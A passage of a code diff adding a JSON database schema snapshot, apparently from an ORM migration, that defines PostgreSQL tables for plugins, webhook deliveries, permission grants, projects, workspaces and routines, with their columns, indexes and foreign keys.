+          "default": "'default'"
+        },
+        "state_key": {
+          "name": "state_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value_json": {
+          "name": "value_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_state_plugin_scope_idx": {
+          "name": "plugin_state_plugin_scope_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_state_plugin_id_plugins_id_fk": {
+          "name": "plugin_state_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_state",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "plugin_state_unique_entry_idx": {
+          "name": "plugin_state_unique_entry_idx",
+          "nullsNotDistinct": true,
+          "columns": [
+            "plugin_id",
+            "scope_kind",
+            "scope_id",
+            "namespace",
+            "state_key"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_webhook_deliveries": {
+      "name": "plugin_webhook_deliveries",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "webhook_key": {
+          "name": "webhook_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "duration_ms": {
+          "name": "duration_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "headers": {
+          "name": "headers",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_webhook_deliveries_plugin_idx": {
+          "name": "plugin_webhook_deliveries_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_webhook_deliveries_company_idx": {
+          "name": "plugin_webhook_deliveries_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_webhook_deliveries_status_idx": {
+          "name": "plugin_webhook_deliveries_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_webhook_deliveries_key_idx": {
+          "name": "plugin_webhook_deliveries_key_idx",
+          "columns": [
+            {
+              "expression": "webhook_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_webhook_deliveries_plugin_id_plugins_id_fk": {
+          "name": "plugin_webhook_deliveries_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_webhook_deliveries",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_webhook_deliveries_company_id_companies_id_fk": {
+          "name": "plugin_webhook_deliveries_company_id_companies_id_fk",
+          "tableFrom": "plugin_webhook_deliveries",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugins": {
+      "name": "plugins",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "package_name": {
+          "name": "package_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version": {
+          "name": "version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "api_version": {
+          "name": "api_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "categories": {
+          "name": "categories",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "manifest_json": {
+          "name": "manifest_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'installed'"
+        },
+        "install_order": {
+          "name": "install_order",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "package_path": {
+          "name": "package_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "installed_at": {
+          "name": "installed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugins_plugin_key_idx": {
+          "name": "plugins_plugin_key_idx",
+          "columns": [
+            {
+              "expression": "plugin_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugins_status_idx": {
+          "name": "plugins_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.principal_permission_grants": {
+      "name": "principal_permission_grants",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_type": {
+          "name": "principal_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_id": {
+          "name": "principal_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "permission_key": {
+          "name": "permission_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope": {
+          "name": "scope",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "granted_by_user_id": {
+          "name": "granted_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "principal_permission_grants_unique_idx": {
+          "name": "principal_permission_grants_unique_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "permission_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "principal_permission_grants_company_permission_idx": {
+          "name": "principal_permission_grants_company_permission_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "permission_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "principal_permission_grants_company_id_companies_id_fk": {
+          "name": "principal_permission_grants_company_id_companies_id_fk",
+          "tableFrom": "principal_permission_grants",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.project_goals": {
+      "name": "project_goals",
+      "schema": "",
+      "columns": {
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "project_goals_project_idx": {
+          "name": "project_goals_project_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_goals_goal_idx": {
+          "name": "project_goals_goal_idx",
+          "columns": [
+            {
+              "expression": "goal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_goals_company_idx": {
+          "name": "project_goals_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "project_goals_project_id_projects_id_fk": {
+          "name": "project_goals_project_id_projects_id_fk",
+          "tableFrom": "project_goals",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "project_goals_goal_id_goals_id_fk": {
+          "name": "project_goals_goal_id_goals_id_fk",
+          "tableFrom": "project_goals",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "project_goals_company_id_companies_id_fk": {
+          "name": "project_goals_company_id_companies_id_fk",
+          "tableFrom": "project_goals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "project_goals_project_id_goal_id_pk": {
+          "name": "project_goals_project_id_goal_id_pk",
+          "columns": [
+            "project_id",
+            "goal_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.project_memberships": {
+      "name": "project_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'joined'"
+        },
+        "starred_at": {
+          "name": "starred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "project_memberships_company_user_idx": {
+          "name": "project_memberships_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_memberships_company_user_starred_idx": {
+          "name": "project_memberships_company_user_starred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "starred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_memberships_project_idx": {
+          "name": "project_memberships_project_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_memberships_company_user_project_uq": {
+          "name": "project_memberships_company_user_project_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "project_memberships_company_id_companies_id_fk": {
+          "name": "project_memberships_company_id_companies_id_fk",
+          "tableFrom": "project_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "project_memberships_project_id_projects_id_fk": {
+          "name": "project_memberships_project_id_projects_id_fk",
+          "tableFrom": "project_memberships",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.project_workspaces": {
+      "name": "project_workspaces",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_type": {
+          "name": "source_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_path'"
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "repo_url": {
+          "name": "repo_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "repo_ref": {
+          "name": "repo_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "default_ref": {
+          "name": "default_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "visibility": {
+          "name": "visibility",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "setup_command": {
+          "name": "setup_command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_command": {
+          "name": "cleanup_command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "remote_provider": {
+          "name": "remote_provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "remote_workspace_ref": {
+          "name": "remote_workspace_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "shared_workspace_key": {
+          "name": "shared_workspace_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "is_primary": {
+          "name": "is_primary",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "project_workspaces_company_project_idx": {
+          "name": "project_workspaces_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_project_primary_idx": {
+          "name": "project_workspaces_project_primary_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "is_primary",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_project_source_type_idx": {
+          "name": "project_workspaces_project_source_type_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_company_shared_key_idx": {
+          "name": "project_workspaces_company_shared_key_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "shared_workspace_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_project_remote_ref_idx": {
+          "name": "project_workspaces_project_remote_ref_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "remote_provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "remote_workspace_ref",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "project_workspaces_company_id_companies_id_fk": {
+          "name": "project_workspaces_company_id_companies_id_fk",
+          "tableFrom": "project_workspaces",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "project_workspaces_project_id_projects_id_fk": {
+          "name": "project_workspaces_project_id_projects_id_fk",
+          "tableFrom": "project_workspaces",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.projects": {
+      "name": "projects",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'backlog'"
+        },
+        "lead_agent_id": {
+          "name": "lead_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_date": {
+          "name": "target_date",
+          "type": "date",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "icon": {
+          "name": "icon",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "env": {
+          "name": "env",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "pause_reason": {
+          "name": "pause_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "paused_at": {
+          "name": "paused_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_policy": {
+          "name": "execution_workspace_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "projects_company_idx": {
+          "name": "projects_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "projects_company_id_companies_id_fk": {
+          "name": "projects_company_id_companies_id_fk",
+          "tableFrom": "projects",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "projects_goal_id_goals_id_fk": {
+          "name": "projects_goal_id_goals_id_fk",
+          "tableFrom": "projects",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "projects_lead_agent_id_agents_id_fk": {
+          "name": "projects_lead_agent_id_agents_id_fk",
+          "tableFrom": "projects",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "lead_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_documents": {
+      "name": "routine_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_documents_company_routine_key_uq": {
+          "name": "routine_documents_company_routine_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_documents_document_uq": {
+          "name": "routine_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_documents_company_routine_updated_idx": {
+          "name": "routine_documents_company_routine_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_documents_company_id_companies_id_fk": {
+          "name": "routine_documents_company_id_companies_id_fk",
+          "tableFrom": "routine_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "routine_documents_routine_id_routines_id_fk": {
+          "name": "routine_documents_routine_id_routines_id_fk",
+          "tableFrom": "routine_documents",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_documents_document_id_documents_id_fk": {
+          "name": "routine_documents_document_id_documents_id_fk",
+          "tableFrom": "routine_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_revisions": {
+      "name": "routine_revisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
